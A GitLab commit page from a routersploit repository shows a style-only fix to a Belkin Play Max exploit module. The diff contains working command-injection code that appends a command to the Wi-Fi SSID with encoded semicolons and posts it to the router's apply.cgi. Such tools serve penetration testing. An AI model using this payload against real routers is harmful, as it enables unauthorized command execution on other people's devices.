Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
0830573f
Commit
0830573f
authored
8 years ago
by
BigNerd95
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixed flake8 violations
parent
0207cd23
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
4 additions
and
4 deletions
+4
-4
play_max_prce.py
routersploit/modules/exploits/belkin/play_max_prce.py
+4
-4
No files found.
routersploit/modules/exploits/belkin/play_max_prce.py
View file @
0830573f
...
...
@@ -49,14 +49,14 @@ class Exploit(exploits.Exploit):
print_error
(
"Exploit failed. Are you logged in?"
)
exit
(
1
)
if
len
(
SSID
)
+
2
+
len
(
self
.
cmd
)
>
32
:
if
len
(
SSID
)
+
2
+
len
(
self
.
cmd
)
>
32
:
newlen
=
32
-
len
(
self
.
cmd
)
-
2
SSID
=
SSID
[
0
:
newlen
]
print_status
(
"SSID too long, it will be truncated to: "
+
SSID
)
print_status
(
"SSID too long, it will be truncated to: "
+
SSID
)
newSSID
=
SSID
+
"
%3
B"
+
self
.
cmd
+
"
%3
B"
newSSID
=
SSID
+
"
%3
B"
+
self
.
cmd
+
"
%3
B"
payload
=
"page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid="
+
newSSID
+
"&arc_action=Apply+Changes&wchan=1&ssid="
+
newSSID
payload
=
"page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid="
+
newSSID
+
"&arc_action=Apply+Changes&wchan=1&ssid="
+
newSSID
url
=
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
payload
)
...
...
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment